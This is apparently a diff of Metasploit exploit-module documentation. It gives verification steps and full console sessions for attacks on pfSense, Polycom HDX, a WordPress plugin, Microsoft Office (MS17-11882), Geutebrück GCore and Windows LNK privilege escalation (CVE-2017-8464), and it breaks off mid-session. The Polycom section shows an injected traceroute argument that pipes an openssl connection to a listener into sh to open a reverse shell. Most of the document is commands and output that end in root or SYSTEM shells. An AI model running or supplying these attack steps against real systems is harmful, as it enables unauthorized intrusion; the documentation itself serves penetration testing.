||||||
|
[*] Meterpreter session 3 opened (<MSF_IP>:4562 -> <OSX_IP>:49348) at 2017-11-29 07:30:53 -0600
|
||||||
|
[+] Deleted /tmp/imtjkakowanv
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : msfusers-Mac.local
|
||||||
|
OS : (MacOSX 17.0.0)
|
||||||
|
Architecture : x64
|
||||||
|
Meterpreter : x64/osx
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: uid=0, gid=20, euid=0, egid=20
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,114 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands
|
||||||
|
as root.
|
||||||
|
|
||||||
|
This module has been tested successfully on version 2.3-RELEASE, and 2.2.6.
|
||||||
|
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module has been tested successfully on version CE 2.3 amd64, and 2.2.6 amd64.
|
||||||
|
|
||||||
|
Installer:
|
||||||
|
|
||||||
|
* [pfSense CE 2.3](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-CE-2.3-RELEASE-amd64.iso.gz)
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start `msfconsole`
|
||||||
|
2. Do: `use exploit/unix/http/pfsense_group_member_exec`
|
||||||
|
3. Do: `set rhost [IP]`
|
||||||
|
4. Do: `set username [username]`
|
||||||
|
5. Do: `set password [password]`
|
||||||
|
6. Do: `exploit`
|
||||||
|
7. You should get a session
|
||||||
|
|
||||||
|
|
||||||
|
## Sample Output
|
||||||
|
|
||||||
|
### 2.3-Release amd64
|
||||||
|
|
||||||
|
```
|
||||||
|
[*] Processing pfsense.rc for ERB directives.
|
||||||
|
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
|
||||||
|
resource (pfsense.rc)> set rhost 2.2.2.2
|
||||||
|
rhost => 2.2.2.2
|
||||||
|
resource (pfsense.rc)> set verbose true
|
||||||
|
verbose => true
|
||||||
|
resource (pfsense.rc)> set lhost 1.1.1.1
|
||||||
|
lhost => 1.1.1.1
|
||||||
|
resource (pfsense.rc)> check
|
||||||
|
[*] 2.2.2.2:443 The target service is running, but could not be validated.
|
||||||
|
resource (pfsense.rc)> exploit
|
||||||
|
[*] Started reverse double SSL handler on 1.1.1.1:4444
|
||||||
|
[*] CSRF Token for login: sid:a11be2ee5849522898e2c1ff23739b35c76435bf,1510545358;ip:d70924f708189287bdee1e08d7fa83758a0e1f68,1510545358
|
||||||
|
[*] Successful Authentication
|
||||||
|
[*] pfSense Version Detected: 2.3-RELEASE
|
||||||
|
[+] Login Successful
|
||||||
|
[*] CSRF Token for group creation: sid:823a6f854ad1bae307c2959e95ccc98a8d72f2c1,1510545361
|
||||||
|
[*] Manual removal of group aJPEfJLDKT is required.
|
||||||
|
[*] Accepted the first client connection...
|
||||||
|
[*] Accepted the second client connection...
|
||||||
|
[*] Command: echo 5ER6rqZOjOSGjRml;
|
||||||
|
[*] Writing to socket A
|
||||||
|
[*] Writing to socket B
|
||||||
|
[*] Reading from sockets...
|
||||||
|
[*] Reading from socket A
|
||||||
|
[*] A: "5ER6rqZOjOSGjRml\n"
|
||||||
|
[*] Matching...
|
||||||
|
[*] B is input...
|
||||||
|
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:25824) at 2017-11-19 08:15:00 -0500
|
||||||
|
|
||||||
|
whoami
|
||||||
|
root
|
||||||
|
uname -a
|
||||||
|
FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016 root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense amd64
|
||||||
|
```
|
||||||
|
### 2.2.6 amd64
|
||||||
|
|
||||||
|
```
|
||||||
|
[*] Processing pfsense.rc for ERB directives.
|
||||||
|
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
|
||||||
|
resource (pfsense.rc)> set rhost 3.3.3.3
|
||||||
|
rhost => 3.3.3.3
|
||||||
|
resource (pfsense.rc)> set verbose true
|
||||||
|
verbose => true
|
||||||
|
resource (pfsense.rc)> set lhost 1.1.1.1
|
||||||
|
lhost => 1.1.1.1
|
||||||
|
resource (pfsense.rc)> check
|
||||||
|
[*] 3.3.3.3:443 The target is not exploitable.
|
||||||
|
resource (pfsense.rc)> exploit
|
||||||
|
[*] Started reverse double SSL handler on 1.1.1.1:4444
|
||||||
|
[*] CSRF Token for login: sid:bb80526160efcf79d8660d1a31f6bf88e154b38e,1511091712;ip:42d05b73fc9b2d31c54333a60fd308dfbd4da97a,1511091712
|
||||||
|
[*] Successful Authentication
|
||||||
|
[*] pfSense Version Detected: 2.2.6-RELEASE
|
||||||
|
[+] Login Successful
|
||||||
|
[*] CSRF Token for group creation: sid:d49a6dc5b7e98c92a7772c605af3586a1f3adc75,1511091715
|
||||||
|
[*] Manual removal of group okUPTvzysL is required.
|
||||||
|
[*] Accepted the first client connection...
|
||||||
|
[*] Accepted the second client connection...
|
||||||
|
[*] Command: echo 7hKg6oD9DkwXYRtt;
|
||||||
|
[*] Writing to socket A
|
||||||
|
[*] Writing to socket B
|
||||||
|
[*] Reading from sockets...
|
||||||
|
[*] Reading from socket B
|
||||||
|
[*] B: "7hKg6oD9DkwXYRtt\n"
|
||||||
|
[*] Matching...
|
||||||
|
[*] A is input...
|
||||||
|
[*] Command shell session 1 opened (1.1.1.1:4444 -> 3.3.3.3:34403) at 2017-11-19 06:42:00 -0500
|
||||||
|
|
||||||
|
whoami
|
||||||
|
root
|
||||||
|
uname -a
|
||||||
|
FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
|
||||||
|
```
|
||||||
|
|
||||||
|
## Cleanup
|
||||||
|
|
||||||
|
Manual cleanup is required. The group name is printed during exploitation.
|
||||||
|
|
||||||
|
## Logging
|
||||||
|
|
||||||
|
Logging into the web interface writes a line to the system out on the console similar to: `pfSense php-fpm[72834]: /index.php: Succeessful login for user 'admin' from [ip]`
|
|
@ -0,0 +1,131 @@
|
||||||
|
Within Polycom HDX series devices, there is a command execution vulneralbility in one of the dev commands `devcmds`, `lan traceroute` which subtituing `$()` or otherwise similiar operand , similiar to [polycom_hdx_auth_bypass](https://github.com/rapid7/metasploit-framework/blob/f250e15b6ee2d7b3e38ee1229bee533a021d1415/modules/exploits/unix/polycom_hdx_auth_bypass.rb) could allow for an attacker to obtain a command shell. Spaces must be replaced with `#{IFS}` aka `Internal Field Seperator`
|
||||||
|
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
Tested on the latest and greatest version of the firmware, vendor has not patched since being reported. [Found here](http://downloads.polycom.com/video/hdx/polycom-hdx-release-3.1.10-51067.pup)
|
||||||
|
|
||||||
|
## Options
|
||||||
|
### PASSWORD
|
||||||
|
Although a majority of devices come without a password, occasionally when one is required, you can set one to either the default `456`, `admin`, or `POLYCOM`, or
|
||||||
|
the devices.
|
||||||
|
|
||||||
|
|
||||||
|
## Payloads
|
||||||
|
Supported payloads include the telnet payload `cmd/unix/reverse` but not `cmd/unix/reverse_ssl_double_telnet` Alternatively, `cmd/unix/reverse_openssl` can be used or, your own choice of executing any arbitary command with `cmd/unix/generic`
|
||||||
|
|
||||||
|
```
|
||||||
|
Compatible Payloads
|
||||||
|
===================
|
||||||
|
|
||||||
|
Name Disclosure Date Rank Description
|
||||||
|
---- --------------- ---- -----------
|
||||||
|
cmd/unix/generic normal Unix Command, Generic Command Execution
|
||||||
|
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
|
||||||
|
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
|
||||||
|
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
A successful check of the exploit will look like this:
|
||||||
|
```
|
||||||
|
msf exploit(polycom) > set RHOST 192.168.0.17
|
||||||
|
RHOST => 192.168.0.17
|
||||||
|
msf exploit(polycom) > set LHOSt ens3
|
||||||
|
LHOSt => ens3
|
||||||
|
msf exploit(polycom) > set LPORT 3511
|
||||||
|
LPORT => 3511
|
||||||
|
msf exploit(polycom) > show payloads
|
||||||
|
|
||||||
|
Compatible Payloads
|
||||||
|
===================
|
||||||
|
|
||||||
|
Name Disclosure Date Rank Description
|
||||||
|
---- --------------- ---- -----------
|
||||||
|
cmd/unix/generic normal Unix Command, Generic Command Execution
|
||||||
|
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
|
||||||
|
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
|
||||||
|
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
|
||||||
|
|
||||||
|
msf exploit(polycom) > set PAYLOAD cmd/unix/reverse
|
||||||
|
PAYLOAD => cmd/unix/reverse
|
||||||
|
msf exploit(polycom) > set VERBOSE false
|
||||||
|
VERBOSE => false
|
||||||
|
msf exploit(polycom) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP double handler on 192.168.0.11:3511
|
||||||
|
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
|
||||||
|
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:34874...
|
||||||
|
[*] Accepted the first client connection...
|
||||||
|
[*] Accepted the second client connection...
|
||||||
|
[*] Command: echo vGopPRp0jBxt4J2D;
|
||||||
|
[*] Writing to socket A
|
||||||
|
[*] Writing to socket B
|
||||||
|
[*] Reading from sockets...
|
||||||
|
[*] Reading from socket B
|
||||||
|
[*] B: "vGopPRp0jBxt4J2D\n"
|
||||||
|
[*] Matching...
|
||||||
|
[*] A is input...
|
||||||
|
[*] Command shell session 10 opened (192.168.0.11:3511 -> 192.168.0.17:37687) at 2017-11-15 10:29:58 -0500
|
||||||
|
[*] 192.168.0.17:23 - Shutting down payload stager listener...
|
||||||
|
|
||||||
|
id
|
||||||
|
uid=0(root) gid=0(root)
|
||||||
|
whoami
|
||||||
|
root
|
||||||
|
```
|
||||||
|
|
||||||
|
## Debugging
|
||||||
|
Setting `VERBOSE` to true should yield an output of.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf exploit(polycom) > set VERBOSE true
|
||||||
|
VERBOSE => true
|
||||||
|
rmsf exploit(polycom) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP double handler on 192.168.0.11:3511
|
||||||
|
[*] 192.168.0.17:23 - Received : !
|
||||||
|
Polycom Command Shell
|
||||||
|
XCOM host: localhost port: 4121
|
||||||
|
TTY name: /dev/pts/6
|
||||||
|
Session type: telnet
|
||||||
|
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: freeing conn [conn: 0x1266f300] [sock: 104] [thread: 0x12559e68]
|
||||||
|
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: SessionHandler: freeing session 4340
|
||||||
|
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession(sess: 4340)
|
||||||
|
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession current open sessions count= 9
|
||||||
|
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:main_server_thread: new connection [conn: 0x1266f300] [sock: 104]
|
||||||
|
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: new conn [conn: 0x1266f300] [sock: 104] [thread: 0x1255a010] [TID: 3380]
|
||||||
|
2017-11-15 15:33:12 DEBUG avc: pc[0]: uimsg: [R: telnet /tmp/apiasynclisteners/psh6 /dev/pts/6]
|
||||||
|
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession(type: telnet sess: 4342)
|
||||||
|
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession current open sessions count= 10
|
||||||
|
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: register_api_session pSession=0x12669918
|
||||||
|
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: about to call sendJavaMessageEx
|
||||||
|
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: session 4342 registered
|
||||||
|
|
||||||
|
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
|
||||||
|
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:37450...
|
||||||
|
[*] Accepted the first client connection...
|
||||||
|
[*] Accepted the second client connection...
|
||||||
|
[*] Command: echo WD3QloY3fys6n7dK;
|
||||||
|
[*] Writing to socket A
|
||||||
|
[*] Writing to socket B
|
||||||
|
[*] Reading from sockets...
|
||||||
|
[*] 192.168.0.17:23 - devcmds
|
||||||
|
Entering sticky internal commands *ONLY* mode...
|
||||||
|
lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`
|
||||||
|
2017-11-15 15:33:13 DEBUG avc: pc[0]: uimsg: [D: lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`]
|
||||||
|
2017-11-15 15:33:13 DEBUG avc: pc[0]: os: task:DETR pid:3369 thread 4e5ff4c0 11443 12660c68
|
||||||
|
2017-11-15 15:33:14 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh` hop_count: 0
|
||||||
|
|
||||||
|
[*] Reading from socket B
|
||||||
|
[*] B: "WD3QloY3fys6n7dK\n"
|
||||||
|
[*] Matching...
|
||||||
|
[*] A is input...
|
||||||
|
[*] Command shell session 11 opened (192.168.0.11:3511 -> 192.168.0.17:38624) at 2017-11-15 10:34:23 -0500
|
||||||
|
[*] 192.168.0.17:23 - Shutting down payload stager listener...
|
||||||
|
|
||||||
|
id
|
||||||
|
uid=0(root) gid=0(root)
|
||||||
|
whoami
|
||||||
|
root
|
||||||
|
```
|
|
@ -0,0 +1,63 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
wp-mobile-detector is a wordpress plugin which was removed from the wordpress site after this vulnerability
|
||||||
|
was disclosed. Version 3.5 and earlier can be directed to upload a file from a remote web server, and then
|
||||||
|
the file can be executed by the client.
|
||||||
|
|
||||||
|
Download [wp-mobile-detector](https://www.exploit-db.com/apps/bf8bdbac0b01e14788aa2d4a0d9c6971-wp-mobile-detector.3.5.zip)
|
||||||
|
from Exploit-db since wordpress removed it.
|
||||||
|
|
||||||
|
Due to its age, it may be difficult to install. The install for the scenario later is:
|
||||||
|
|
||||||
|
* Ubuntu 16.04.2
|
||||||
|
* Apache 2.4.18
|
||||||
|
* PHP 7
|
||||||
|
* Wordpress 4.4.2
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
Example steps in this format (is also in the PR):
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute```
|
||||||
|
4. Do: ```set rhost [ip]```
|
||||||
|
5. Do: ```set lhost [ip]```
|
||||||
|
6. Do: ```set srvhost [ip]```
|
||||||
|
7. Do: ```exploit```
|
||||||
|
8. You should get a shell.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### wp-mobile-detector 3.5 on Wordpress 4.4.2
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/unix/webapp/wp_mobile_detector_upload_execute
|
||||||
|
msf exploit(wp_mobile_detector_upload_execute) > set rhost 2.2.2.2
|
||||||
|
rhost => 2.2.2.2
|
||||||
|
msf exploit(wp_mobile_detector_upload_execute) > set TARGETURI /wordpress/
|
||||||
|
TARGETURI => /wordpress/
|
||||||
|
msf exploit(wp_mobile_detector_upload_execute) > check
|
||||||
|
[*] 2.2.2.2:80 The target appears to be vulnerable.
|
||||||
|
msf exploit(wp_mobile_detector_upload_execute) > set payload php/meterpreter/reverse_tcp
|
||||||
|
payload => php/meterpreter/reverse_tcp
|
||||||
|
smsf exploit(wp_mobile_detector_upload_execute) > set lhost 1.1.1.1
|
||||||
|
lhost => 1.1.1.1
|
||||||
|
msf exploit(wp_mobile_detector_upload_execute) > set srvhost 1.1.1.1
|
||||||
|
srvhost => 1.1.1.1
|
||||||
|
msf exploit(wp_mobile_detector_upload_execute) > exploit
|
||||||
|
[*] Exploit running as background job 2.
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||||
|
msf exploit(wp_mobile_detector_upload_execute) > [*] Starting Payload Server
|
||||||
|
[*] Using URL: http://1.1.1.1:8080/ZWTgqwsiFL.php
|
||||||
|
[*] Uploading payload via /wordpress/wp-content/plugins/wp-mobile-detector/resize.php?src=http://1.1.1.1:8080/ZWTgqwsiFL.php
|
||||||
|
[+] Payload requested on server, sending
|
||||||
|
[+] Sleeping 5 seconds for payload upload
|
||||||
|
[*] Executing the payload via /wordpress/wp-content/plugins/wp-mobile-detector/cache/ZWTgqwsiFL.php
|
||||||
|
[*] Sending stage (37514 bytes) to 2.2.2.2
|
||||||
|
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:47064) at 2017-10-20 22:54:04 -0400
|
||||||
|
[+] Deleted ZWTgqwsiFL.php
|
||||||
|
[*] Server stopped.
|
||||||
|
```
|
||||||
|
|
|
@ -0,0 +1,56 @@
|
||||||
|
|
||||||
|
Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
- Microsoft Office 2016
|
||||||
|
- Microsoft Office 2013 Service Pack 1
|
||||||
|
- Microsoft Office 2010 Service Pack 2
|
||||||
|
- Microsoft Office 2007
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Do: `use exploit/windows/fileformat/office_ms17_11882`
|
||||||
|
3. Do: `set PAYLOAD [PAYLOAD]`
|
||||||
|
4. Do: `run`
|
||||||
|
|
||||||
|
## Options
|
||||||
|
### FILENAME
|
||||||
|
Filename to output & if injecting a file, the file to inject
|
||||||
|
|
||||||
|
### FOLDER_PATH
|
||||||
|
Path to filename to inject
|
||||||
|
|
||||||
|
|
||||||
|
## Example
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/windows/fileformat/office_ms17_11882
|
||||||
|
msf exploit(office_ms17_11882) > set FILENAME msf.rtf
|
||||||
|
FILENAME => /home/mumbai/file.rtf
|
||||||
|
msf exploit(office_ms17_11882) > set LHOST ens3
|
||||||
|
LHOST => ens3
|
||||||
|
msf exploit(office_ms17_11882) > set LPORT 35116
|
||||||
|
LPORT => 35116
|
||||||
|
msf exploit(office_ms17_11882) > run
|
||||||
|
[*] Using URL: http://0.0.0.0:8080/BUY0DYgc
|
||||||
|
[*] Local IP: http://192.1668.0.11:8080/BUY0DYgc
|
||||||
|
[*] Server started.
|
||||||
|
[*] 192.168.0.24 office_ms17_11882 - Handling initial request from 192.168.0.24
|
||||||
|
[*] 192.168.0.24 office_ms17_11882 - Stage two requestd, sending
|
||||||
|
[*] Sending stage (205379 bytes) to 192.168.0.24
|
||||||
|
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217) at 2017-11-21 14:41:59 -0500
|
||||||
|
sessions -i 1
|
||||||
|
[*] Starting interaction with 1...
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : TEST-PC
|
||||||
|
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||||
|
Architecture : x64
|
||||||
|
System Language : en_US
|
||||||
|
Domain : WORKGROUP
|
||||||
|
Logged On Users : 1
|
||||||
|
Meterpreter : x64/windows
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,69 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Geutebrück GCore Server 1.3.8.42, 1.4.2.37 are vulnerable to a buffer overflow exploitation.
|
||||||
|
Since this application is started with system privileges this allows a system remote code execution.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install Windows as basic OS (Tested with Win2012R2, Windows 7)
|
||||||
|
2. Install the Geutebrück GCore server
|
||||||
|
3. Verify that http://<your target ip>:13003/statistics/runningmoduleslist.xml available is.
|
||||||
|
4. Start msfconsole
|
||||||
|
5. Do: ```use [exploit/windows/http/geutebrueck_gcore_x64_rce_bo]```
|
||||||
|
6. Do: ```set rhost <your target ip>```
|
||||||
|
7. Do: ```set rport 13003```
|
||||||
|
8. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
|
||||||
|
9. Do: ```exploit```
|
||||||
|
10. You should get a shell as NT/SYSTEM.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Geutebrueck GCore 1.4.2.37
|
||||||
|
|
||||||
|
```
|
||||||
|
msf exploit(geutebrueck_gcore_x64_rce_bo) > show options
|
||||||
|
|
||||||
|
Module options (exploit/windows/http/geutebrueck_gcore_x64_rce_bo):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
RHOST 192.168.1.10 yes The target address
|
||||||
|
RPORT 13003 yes The target port
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||||
|
LHOST 192.168.1.11 yes The listen address
|
||||||
|
LPORT 4444 yes The listen port
|
||||||
|
|
||||||
|
|
||||||
|
Exploit target:
|
||||||
|
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
0 Automatic Targeting
|
||||||
|
|
||||||
|
msf exploit(geutebrueck_gcore_x64_rce_bo) > exploit
|
||||||
|
[*] Started reverse TCP handler on 192.168.1.11:4444
|
||||||
|
[*] 192.168.1.10:13003 - Trying to fingerprint server with http://192.168.1.10:13003/statistics/runningmoduleslist.xml...
|
||||||
|
[*] 192.168.1.10:13003 - Vulnerable version detected: GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)
|
||||||
|
[*] 192.168.1.10:13003 - Preparing ROP chain for target 1.4.2.37!
|
||||||
|
[*] 192.168.1.10:13003 - Crafting Exploit...
|
||||||
|
[*] 192.168.1.10:13003 - Exploit ready for sending...
|
||||||
|
[*] 192.168.1.10:13003 - Exploit sent! [*] Sending stage (1188415 bytes) to
|
||||||
|
[*] Meterpreter session 1 opened ( :4444 -> 49963) at 2017-11-03 13:14:51 +0200
|
||||||
|
[*] 192.168.1.10:13003 - Closing socket.
|
||||||
|
meterpreter > getsystem
|
||||||
|
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||||
|
meterpreter > getuid Server username:
|
||||||
|
NT-AUTORITÄT\SYSTEM
|
||||||
|
meterpreter >
|
||||||
|
```
|
||||||
|
|
||||||
|
## Mitigation
|
||||||
|
|
||||||
|
Geutebrück released a new version and an update for the affected product which should be installed to fix the described vulnerabilities.
|
|
@ -0,0 +1,166 @@
|
||||||
|
## Description
|
||||||
|
This module is a Windows local exploit version of the existing file
|
||||||
|
format module for CVE-2017-8464. The module works by dropping the
|
||||||
|
specially crafted LNK file and DLL to disk, which causes
|
||||||
|
`SearchProtocolHost.exe` to parse the LNK file and thus load the DLL via
|
||||||
|
the vulnerability. Due to `SearchProtocolHost.exe` running as SYSTEM,
|
||||||
|
this can be used to elevate privileges.
|
||||||
|
|
||||||
|
The original DLL template needed some significant reworking to make it
|
||||||
|
compatible for execution within `SearchProtocolHost.exe`. The payload
|
||||||
|
was originally failing in the hollowed child `rundll32.exe` process with
|
||||||
|
a denied error from winsock. This was addressed by checking if the process
|
||||||
|
which loaded the crafted DLL is `SearchProtocolHost.exe` and when it is,
|
||||||
|
it opens the token of another SYSTEM process and passes it to
|
||||||
|
`CreateProcessAsUser` for the payload to work. When the DLL is loaded
|
||||||
|
into another process or is not running as SYSTEM, this step is skipped
|
||||||
|
and `NULL` is passed as the token.
|
||||||
|
|
||||||
|
Finally a thread is spawned to keep a module reference and monitor the
|
||||||
|
child process. This is for synchronization to prevent the payload from
|
||||||
|
being executed in rapid succession from a single exploitation attempt.
|
||||||
|
The mutex was also updated to the constant of `MUTEX!!!` to leverage
|
||||||
|
Metasploit's builtin mutex name randomization, which ensures that a name
|
||||||
|
is unique per module run but not globally unique.
|
||||||
|
|
||||||
|
## Vulnerable Systems
|
||||||
|
Tested and works on
|
||||||
|
Windows 7x64 SP0
|
||||||
|
Windows 7x64 SP1
|
||||||
|
Windows 8x64
|
||||||
|
Windows 8.1x64
|
||||||
|
Windows 10x64 Build 1511
|
||||||
|
Windows 10x64 Build 1607
|
||||||
|
Windows 10x64 Build 1703
|
||||||
|
|
||||||
|
## Running Example:
|
||||||
|
```
|
||||||
|
> use exploit/multi/handler
|
||||||
|
> set payload windows/x64/meterpreter/reverse_tcp
|
||||||
|
payload => windows/x64/meterpreter/reverse_tcp
|
||||||
|
> set LHOST 192.168.135.112
|
||||||
|
LHOST => 192.168.135.112
|
||||||
|
> set LPORT 30001
|
||||||
|
LPORT => 30001
|
||||||
|
> show options
|
||||||
|
|
||||||
|
Module options (exploit/multi/handler):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
|
||||||
|
|
||||||
|
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||||
|
LHOST 192.168.135.112 yes The listen address
|
||||||
|
LPORT 30001 yes The listen port
|
||||||
|
|
||||||
|
|
||||||
|
Exploit target:
|
||||||
|
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
0 Wildcard Target
|
||||||
|
|
||||||
|
|
||||||
|
[*] > Ruby Code (13 bytes)
|
||||||
|
> run -z
|
||||||
|
[*] Exploit running as background job 0.
|
||||||
|
[*] Started reverse TCP handler on 192.168.135.112:30001
|
||||||
|
[*] Sending stage (205379 bytes) to 192.168.134.133
|
||||||
|
[*] Meterpreter session 1 opened (192.168.135.112:30001 -> 192.168.134.133:49178) at 2017-11-06 10:22:02 -0800
|
||||||
|
> sysinfo
|
||||||
|
Computer : WIN7X64-SP0
|
||||||
|
OS : Windows 7 (Build 7600).
|
||||||
|
Architecture : x64
|
||||||
|
System Language : en_US
|
||||||
|
Domain : WORKGROUP
|
||||||
|
Logged On Users : 4
|
||||||
|
Meterpreter : x64/windows
|
||||||
|
> sessions -l
|
||||||
|
|
||||||
|
Active sessions
|
||||||
|
===============
|
||||||
|
|
||||||
|
Id Type Information Connection
|
||||||
|
-- ---- ----------- ----------
|
||||||
|
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
|
||||||
|
|
||||||
|
> use exploit/windows/local/cve_2017_8464_lnk_lpe
|
||||||
|
> set session 1
|
||||||
|
session => 1
|
||||||
|
> set target 0
|
||||||
|
target => 0
|
||||||
|
> set payload windows/x64/meterpreter/reverse_tcp
|
||||||
|
payload => windows/x64/meterpreter/reverse_tcp
|
||||||
|
> set lhost 192.168.135.112
|
||||||
|
lhost => 192.168.135.112
|
||||||
|
> set lport 30002
|
||||||
|
lport => 30002
|
||||||
|
> set verbose true
|
||||||
|
verbose => true
|
||||||
|
> show options
|
||||||
|
|
||||||
|
Module options (exploit/windows/local/cve_2017_8464_lnk_lpe):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
DLLNAME no The DLL file containing the payload
|
||||||
|
FILENAME no The LNK file
|
||||||
|
PATH no An explicit path to where the files should be written to
|
||||||
|
SESSION 1 yes The session to run this module on.
|
||||||
|
|
||||||
|
|
||||||
|
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||||
|
LHOST 192.168.135.112 yes The listen address
|
||||||
|
LPORT 30002 yes The listen port
|
||||||
|
|
||||||
|
|
||||||
|
Exploit target:
|
||||||
|
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
0 Windows x64
|
||||||
|
|
||||||
|
|
||||||
|
> run -j
|
||||||
|
[*] Exploit running as background job 1.
|
||||||
|
[*] Started reverse TCP handler on 192.168.135.112:30002
|
||||||
|
[*] Generating LNK file to load: C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
|
||||||
|
[*] Sending stage (205379 bytes) to 192.168.134.133
|
||||||
|
